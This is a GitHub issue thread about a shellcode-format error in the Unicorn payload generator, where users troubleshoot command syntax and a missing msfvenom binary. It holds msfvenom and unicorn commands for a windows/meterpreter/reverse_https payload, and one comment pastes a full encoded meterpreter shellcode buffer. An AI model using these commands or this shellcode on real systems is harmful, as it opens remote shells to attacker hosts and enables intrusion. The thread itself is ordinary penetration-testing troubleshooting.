trustedsec/unicorn

can not exec union.py

leezp opened this issue · 6 comments

leezp commented

python unicorn.py windows/meterpreter/reverse_https LHOST=192.168.255.153 LPORT=233
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...
[!] Critical: It does not appear that your shellcode is formatted properly. Shellcode should be in a 0x00,0x01 format or a Metasploit format.
[!] Example: msfvenom -p LHOST=192.168.5.5 LPORT=443 -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -f c
Exiting....

python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...
[!] Critical: It does not appear that your shellcode is formatted properly. Shellcode should be in a 0x00,0x01 format
r a Metasploit format.
[!] Example: msfvenom -p LHOST=192.168.5.5 LPORT=443 -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -f c
Exiting....

Your command is wrong, please re-read the help me file or the syntax from the tool. Remove the LPORT/LHOST.

python unicorn.py windows/meterpreter/reverse_https 192.168.255.153 233

i has same problem despite executing the right command

Same issue here

PS C:\opt\unicorn-3.17> python unicorn.py windows/meterpreter/reverse_https 172.16.1.49 443
'clear' is not recognized as an internal or external command,
operable program or batch file.

[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...
[!] Critical: It does not appear that your shellcode is formatted properly. Shellcode should be in a 0x00,0x01 format or a Metasploit format.
[!] Example: msfvenom -p LHOST=192.168.5.5 LPORT=443 -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -f c
[!] Also ensure your syntax for unicorn is correct. Missing IP address, port, etc. etc. will cause this error.
Exiting....

Ensuring that msfvenom was available in the path seemed to resolve this error for me.

I have the same error. I use sudo ./unicorn.py windows/meterpreter/reverse_https 192.168.178.92 443

I think my msfvenom works fine, if i try msfvenom -p LHOST=192.168.178.92 LPORT=443 -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -f c

I get this:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 782 (iteration=0)
x86/shikata_ga_nai chosen with final size 782
Payload size: 782 bytes
Final size of c file: 3311 bytes
unsigned char buf[] = 
"\xdb\xc7\xb8\x8d\xb6\x2b\x84\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
"\xbd\x31\x45\x1a\x83\xc5\x04\x03\x45\x16\xe2\x78\x4a\xc3\x0b"
"\x82\xb3\x14\x74\x0b\x56\x25\xa6\x6f\x12\x14\x76\xe4\x76\x95"
"\xfd\xa8\x62\x2e\x73\x64\x84\x87\x3e\x52\xab\x18\x8f\x5a\x67"
"\xda\x91\x26\x7a\x0f\x72\x17\xb5\x42\x73\x50\x03\x28\x9c\x0c"
"\xc3\x59\x30\xa0\x60\x1f\x89\xc1\xa6\x2b\xb1\xb9\xc3\xec\x46"
"\x75\xcd\x3c\x2d\xdd\xed\xec\xb9\x95\xf5\x0d\x6d\xa0\xcf\x7a"
"\xad\x9b\x30\xcb\x46\xef\x45\xcd\x8e\x3e\x9a\x0f\xe1\x4d\xb6"
"\x91\x39\x75\x26\xe4\x31\x86\xdb\xff\x81\xf5\x07\x75\x16\x5d"
"\xc3\x2d\xf2\x5c\x00\xab\x71\x52\xed\xbf\xde\x76\xf0\x6c\x55"
"\x82\x79\x93\xba\x03\x39\xb0\x1e\x48\x99\xd9\x07\x34\x4c\xe5"
"\x58\x90\x31\x43\x12\x32\x27\xf3\xdb\xcd\x48\xa9\x4b\x5f\xd2"
"\x26\x8c\xf7\x6b\xae\xe2\x6e\xc0\x58\xb7\x07\xce\x9f\xb8\x32"
"\x3f\x7b\x15\xef\x13\x28\xc9\xe7\x10\xce\xed\xf7\x55\xa0\x97"
"\x9e\x09\x52\x09\x4f\xe7\x84\xf9\xaf\x2f\x8e\x90\xc1\x4b\x5f"
"\x14\x6e\xb4\xd1\x8e\xb0\x85\xdd\x00\x80\xde\x3d\x0a\x89\x4e"
"\x08\x80\x72\xaf\x0c\xde\xb0\x86\xcc\x5f\xc8\xa8\x60\x05\x7f"
"\x2c\x1b\x8e\x16\xda\xf4\x25\xdb\x15\x25\x75\x2d\x7a\x11\x32"
"\x19\x2e\x2c\x88\xb5\xee\xc2\x79\xae\x8b\x3a\x3d\x55\x37\x50"
"\xae\xbc\x97\xe5\x58\xcc\xb8\x84\xfd\x1f\x7e\x6f\xd0\x6f\xae"
"\xbb\x1b\xba\x96\xed\x5b\xf5\xc6\xa2\xfa\x93\x67\x37\x94\x74"
"\x5d\x84\x51\xa4\xae\xdc\xbd\xfd\xb4\x47\x91\xc4\x03\xa6\xdd"
"\x18\x5d\x86\x2a\x56\xb3\xd0\x6d\x96\xa3\x26\xd8\xef\x94\xa8"
"\x31\x5c\x88\x3c\xb9\x31\x7d\xa9\x06\xb4\x81\x29\x91\x33\x80"
"\x29\x61\x14\xd2\x71\x03\x33\xa6\xb3\xa1\x9c\x3f\xe3\x15\x4a"
"\xa5\x58\x14\xbe\x74\x6e\xd5\xc8\x44\xd1\xdd\x73\xde\xa0\x5a"
"\x3c\x77\x0d\x17\xb6\x13\xd8\x9c\x7c\xe9\xb1\x6a\xda\x57\x32"
"\x31\xe8\x22\xd9\xa0\x7e\xb4\x6a\x4c\x0c\x23\xa1\xab\x98\xd3"
"\xba\xae\x6e\x1c\x55\x65\xbb\x13\xe9\xda\xab\xfe\x83\xa3\x40"
"\x46\x10\x41\xfd\x03\xad\xc8\x76\xa2\x0c\xb8\x4c\xff\xec\x6f"
"\x98\x94\x93\xe9\x83\x39\x18\x9a\x2f\xec\xf4\x01\xf9\x7e\x99"
"\xa1\x63\x08\x54\x63\x0c\xac\xfc\x16\x95\x16\x35\x96\x4e\xa5"
"\x40\x40\x21\x91\xc7\xd8\xa3\x6b\x49\xb0\x55\x5a\x06\x18\xd5"
"\xc6\xa9\xf3\x8c\x76\x19\x5c\x23\x31\xca\x3f\xd8\xeb\xad\xfb"
"\x50\x2c\x05\x65\x2a\x15\xae\x36\x80\xcf\xe5\xf0\xa2\x55\x77"
"\x5b\x50\x10\x3c\x6f\xe6\x86\x80\xb9\x8e\x36\x76\xb2\x3b\xe3"
"\x14\x55\xf2\x5e\xb1\xd3\x9c\x2f\x5e\x72\x71\xc2\xc2\x1b\xb9"
"\x56\x32\xed\xcc\xa1\x62\x3f\x5d\x86\xe9\x45\xec\x24\x8a\xf6"
"\xdf\x3f\x15\x62\x7a\xb4\xdd\x21\xd1\x00\x97\xa7\xbc\x2f\x77"
"\x5b\x06\xdb\x0f\xc1\x0f\x4d\xb1\x91\xba\x29\x41\x6b\x1e\x9a"
"\xd9\xbe\xd7\x22\x62\x8e\xd1\x52\xc2\x78\x4a\xda\x7d\xbe\x8b"
"\x09\x08\xf9\x20\xda\x0b\x34\x2e\x9e\x5f\x6b\xfd\xc8\x0c\xdd"
"\x69\x1c\xe7\xcf\x52\x1d\xdd\x86\xce\xeb\x81\xce\x8e\xdf\x3d"
"\x0f\x07\xff\x54\x0b\x47\x6a\xb6\x45\x0f\x1f\x8e\xf7\x49\x20"
"\xdb\x5b\x06\x8c\xb7\x0d\xc0\x1f\x3e\xaa\x6b\x9f\xeb\x4f\x4b"
"\x2a\x00\x38\xc3\xc6\x28\xb8\xbb\xac\xd8\x8d\xdb\xd2\xcc\xa1"
"\x6e\xe0\x07\x76\x90\xfa\xd7\xe3\xd0\x92\xd7\xe3\xd0\x62\xb0"
"\x03\xd0\x22\x40\x57\xb8\xfa\xe4\x04\xdd\x04\x31\x39\x4e\xa8"
"\x33\xd9\x27\x26\x44\x06\xc7\xb6\x17\x10\xaf\xa4\x01\x15\xcd"
"\x36\xf8\xa3\xd1\xbd\xcc\x27\xd6\x3c\x10\xb2\x18\x4b\x73\xe5"
"\x5b\xeb\x93\x7d\xa4\xeb\x9b\xb3\x63\x26\x4a\x85\xa5\x7e\xbc"
"\xd4\xfe\x46\xee\x23\x36\xb7\x55\xbb\x83\x15\xff\x56\xeb\x0a"
"\xff\x72";

I have tested this on two machines once Debian 11 and an actual Kali. But get this error.